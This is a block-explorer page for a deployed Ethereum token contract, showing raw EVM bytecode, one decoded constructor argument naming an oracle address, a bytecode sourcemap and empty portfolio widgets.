00090815260026020908152604080832094909455918616815260049091529081205460ff1661101a57610ffe8561113e565b6110085782611013565b61101385848661115d565b905061101d565b50815b6001600160a01b03841660009081526002602052604090205461104090826110e4565b6001600160a01b0380861660008181526002602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6000610a5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d83565b600082820183811015610a5f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526004602052604090205460ff161590565b600754604080516318efb0a560e21b8152600481018590526001600160a01b038681166024830152848116604483015233606483015282516000948594859493909116926363bec294926084808301939282900301818787803b1580156111c357600080fd5b505af11580156111d7573d6000803e3d6000fd5b505050506040513d60408110156111ed57600080fd5b50805160209091015190925090508015611286576007546001600160a01b031660009081526002602052604090205461122690836110e4565b600780546001600160a01b039081166000908152600260209081526040918290209490945591548251868152925190821693918a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a35b61129085836110a2565b969550505050505056fea2646970667358221220fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d63364736f6c63430007060033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d
-----Decoded View---------------
Arg [0] : _Oracle (address): 0x90F80A452c2376bA45869Da1D843664e47FEED6d
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d
Deployed Bytecode Sourcemap
3979:5204:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8694:178;;;;;;;;;;;;;:::i;:::-;;5186:80;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5608:216;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5608:216:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4916:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;6768:364;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6768:364:0;;;;;;;;;;;;;;;;;:::i;1664:103::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1664:103:0;-1:-1:-1;;;;;1664:103:0;;:::i;5010:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6390:206;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6390:206:0;-1:-1:-1;;;;;6390:206:0;;:::i;6293:89::-;;;;;;;;;;;;;:::i;6169:116::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6169:116:0;-1:-1:-1;;;;;6169:116:0;;:::i;8884:89::-;;;;;;;;;;;;;:::i;5356:105::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;5356:105:0;-1:-1:-1;;;;;5356:105:0;;:::i;8984:124::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8984:124:0;;;;;;;;;;:::i;5272:78::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;5272:78:0;;;;;;;;;;;;;;4492:29;;;;;;;;;;;;;:::i;6604:156::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6604:156:0;;;;;;;;:::i;5993:164::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5993:164:0;;;;;;;;:::i;1457:94::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1457:94:0;-1:-1:-1;;;;;1457:94:0;;:::i;5872:113::-;;;;;;;;;;;;;:::i;4460:25::-;;;;;;;;;;;;;:::i;5467:133::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5467:133:0;;;;;;;;;;:::i;1559:97::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1559:97:0;-1:-1:-1;;;;;1559:97:0;;:::i;1890:173::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1890:173:0;-1:-1:-1;;;;;1890:173:0;;:::i;4528:35::-;;;;;;;;;;;;;:::i;1775:107::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1775:107:0;-1:-1:-1;;;;;1775:107:0;;:::i;8694:178::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;8748:10:::1;:8;:10::i;:::-;8747:11;8739:20;;;::::0;::::1;;8783:12;8770:10;:25:::0;8823:15:::1;8806:14;:32:::0;8849:6:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;8849:15:0;;;;-1:-1:-1;;;;;8849:6:0;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;-1:-1:-1;;8849:15:0;;;;;;;;-1:-1:-1;8849:6:0;:15;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8694:178::o:0;5186:80::-;5258:5;;;;;;;;;;;;-1:-1:-1;;;5258:5:0;;;;5186:80;:::o;5608:216::-;5712:10;5683:4;5700:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5700:32:0;;;;;;;;;;;:41;;;5757:37;;;;;;;5683:4;;5700:32;;5712:10;;5757:37;;;;;;;;-1:-1:-1;5812:4:0;5608:216;;;;:::o;4916:88::-;4989:12;;4916:88;:::o;6768:364::-;-1:-1:-1;;;;;6888:19:0;;6868:4;6888:19;;;:11;:19;;;;;;;;6908:10;6888:31;;;;;;;;-1:-1:-1;;6888:46:0;6885:180;;6984:69;;;;;;;;;;;-1:-1:-1;;;6984:69:0;;;;;;;;-1:-1:-1;;;;;6984:19:0;;-1:-1:-1;6984:19:0;;;:11;:19;;;;;7004:10;6984:31;;;;;;;;;;:69;;7020:6;;6984:35;:69::i;:::-;-1:-1:-1;;;;;6950:19:0;;;;;;:11;:19;;;;;;;;6970:10;6950:31;;;;;;;:103;6885:180;7084:40;7098:6;7106:9;7117:6;7084:13;:40::i;:::-;7077:47;6768:364;-1:-1:-1;;;;6768:364:0:o;1664:103::-;1719:4;1754:5;-1:-1:-1;;;;;1754:5:0;;;1743:16;;;;1664:103::o;5010:80::-;4158:1;5010:80;:::o;6390:206::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6457:6:::1;:25:::0;;-1:-1:-1;;;;;6457:25:0;;::::1;-1:-1:-1::0;;;;;;6457:25:0;;::::1;::::0;::::1;::::0;;6513:4:::1;6457:6;6493:26:::0;;;:11:::1;:26;::::0;;;;;;;:44;;;;;;;;;-1:-1:-1;;6493:58:0;;6562:13:::1;:22:::0;;;:29;;-1:-1:-1;;6562:29:0::1;6457:25:::0;6562:29:::1;::::0;;6390:206::o;6293:89::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6347:6:::1;::::0;:30:::1;::::0;;-1:-1:-1;;;6347:30:0;;6371:4:::1;6347:30;::::0;::::1;::::0;;;-1:-1:-1;;;;;6347:6:0;;::::1;::::0;:15:::1;::::0;:30;;;;;:6:::1;::::0;:30;;;;;;;;:6;;:30;::::1;;::::0;::::1;;;;::::0;::::1;6169:116:::0;6224:4;6248:29;6256:7;-1:-1:-1;;6248:7:0;:29::i;:::-;6241:36;6169:116;-1:-1:-1;;6169:116:0:o;8884:89::-;8953:12;8884:89;:::o;5356:105::-;-1:-1:-1;;;;;5440:18:0;5422:7;5440:18;;;:9;:18;;;;;;;5356:105::o;8984:124::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9070:21:0;;;::::1;;::::0;;;:13:::1;:21;::::0;;;;:30;;-1:-1:-1;;9070:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8984:124::o;5272:78::-;5324:7;5342:5;-1:-1:-1;;;;;5342:5:0;5272:78;:::o;4492:29::-;;;;:::o;6604:156::-;6684:4;6708:44;6722:10;6734:9;6745:6;6708:13;:44::i;:::-;6701:51;6604:156;-1:-1:-1;;;6604:156:0:o;5993:164::-;6076:10;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6106:43:::1;::::0;;-1:-1:-1;;;6106:43:0;;6130:10:::1;6106:43;::::0;::::1;::::0;;;;;;;;;-1:-1:-1;;;;;6106:23:0;::::1;::::0;::::1;::::0;:43;;;;;::::1;::::0;;;;;;;;-1:-1:-1;6106:23:0;:43;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;6106:43:0;;5993:164;-1:-1:-1;;;5993:164:0:o;1457:94::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;1517:19:0::1;;::::0;;;1539:4:::1;1517:19;::::0;;;;;;;:26;;-1:-1:-1;;1517:26:0::1;::::0;;::::1;::::0;;1457:94::o;5872:113::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;5926:51:::1;::::0;5934:10:::1;::::0;5955:21:::1;5926:51:::0;::::1;;;::::0;::::1;::::0;;;5955:21;5934:10;5926:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;5872:113::o:0;4460:25::-;;;;:::o;5467:133::-;-1:-1:-1;;;;;5569:19:0;;;5551:7;5569:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5467:133::o;1559:97::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;1621:19:0::1;1643:5;1621:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;1621:27:0::1;::::0;;1559:97::o;1890:173::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;1966:5:::1;:11:::0;;-1:-1:-1;;;;;;1966:11:0::1;-1:-1:-1::0;;;;;1966:11:0;::::1;::::0;;::::1;::::0;;1988:19;;;-1:-1:-1;1988:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;1988:26:0::1;::::0;;::::1;::::0;;;2030:25;;;;;;;::::1;::::0;;;;;;;;;::::1;1890:173:::0;:::o;4528:35::-;;;;;;:::o;1775:107::-;-1:-1:-1;;;;;1855:19:0;1831:4;1855:19;;;:14;:19;;;;;;;;;1775:107::o;8596:90::-;8663:10;;:15;;8596:90;:::o;2725:192::-;2811:7;2847:12;2839:6;;;;2831:29;;;;-1:-1:-1;;;2831:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;2883:5:0;;;2725:192::o;7140:914::-;7232:4;7252:10;:8;:10::i;:::-;:59;;;;;7296:15;7266:14;;7283:9;7266:26;:45;;7252:59;7249:352;;;7326:6;;;;;;;;;-1:-1:-1;;;;;7326:6:0;-1:-1:-1;;;;;7326:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7326:20:0;:44;;;;;7359:11;;7350:6;:20;7326:44;7323:267;;;7382:14;7399:23;7410:11;;7399:6;:10;;:23;;;;:::i;:::-;7480:6;;-1:-1:-1;;;;;7480:6:0;7462:26;;;;:9;:26;;;;;;7382:40;;-1:-1:-1;7462:38:0;;7382:40;7462:30;:38::i;:::-;7451:6;;;-1:-1:-1;;;;;7451:6:0;;;7433:26;;;;:9;:26;;;;;;;;;:67;;;;7541:6;;7516:41;;;;;;;7541:6;;;;7516:41;;;;;;;;;;;;;7577:11;;7568:20;;7323:267;;7641:53;;;;;;;;;;;-1:-1:-1;;;7641:53:0;;;;;;;;-1:-1:-1;;;;;7641:17:0;;-1:-1:-1;7641:17:0;;;:9;:17;;;;;;;;:53;;7663:6;;7641:21;:53::i;:::-;-1:-1:-1;;;;;7621:17:0;;;;;;;:9;:17;;;;;;;;:73;;;;7742:24;;;;;:13;:24;;;;;;;;;7738:154;;7784:25;7802:6;7784:17;:25::i;:::-;:76;;7854:6;7784:76;;;7812:39;7825:6;7833;7841:9;7812:12;:39::i;:::-;7768:92;;7738:154;;;-1:-1:-1;7884:6:0;7738:154;-1:-1:-1;;;;;7925:20:0;;;;;;:9;:20;;;;;;:40;;7950:14;7925:24;:40::i;:::-;-1:-1:-1;;;;;7902:20:0;;;;;;;:9;:20;;;;;;;;;:63;;;;7981:43;;;;;;;7902:20;;7981:43;;;;;;;;;;;;;-1:-1:-1;8042:4:0;;7140:914;-1:-1:-1;;;;7140:914:0:o;2583:136::-;2641:7;2668:43;2672:1;2675;2668:43;;;;;;;;;;;;;;;;;:3;:43::i;2396:181::-;2454:7;2486:5;;;2510:6;;;;2502:46;;;;;-1:-1:-1;;;2502:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;8062:119;-1:-1:-1;;;;;8152:21:0;8128:4;8152:21;;;:13;:21;;;;;;;;8151:22;;8062:119::o;8189:399::-;8333:6;;:56;;;-1:-1:-1;;;8333:56:0;;;;;;;;-1:-1:-1;;;;;8333:56:0;;;;;;;;;;;;;;8378:10;8333:56;;;;;;8278:7;;;;;;8333:6;;;;;:21;;:56;;;;;;;;;;;8278:7;8333:6;:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8333:56:0;;;;;;;;;-1:-1:-1;8333:56:0;-1:-1:-1;8397:145:0;;;;8457:6;;-1:-1:-1;;;;;8457:6:0;8439:26;;;;:9;:26;;;;;;:41;;8470:9;8439:30;:41::i;:::-;8428:6;;;-1:-1:-1;;;;;8428:6:0;;;8410:26;;;;:9;:26;;;;;;;;;:70;;;;8521:6;;8496:44;;;;;;;8521:6;;;;8496:44;;;;;;;;;;;;;8397:145;8559:21;:6;8570:9;8559:10;:21::i;:::-;8552:28;8189:399;-1:-1:-1;;;;;;8189:399:0:o
Swarm Source
ipfs://fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d633
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.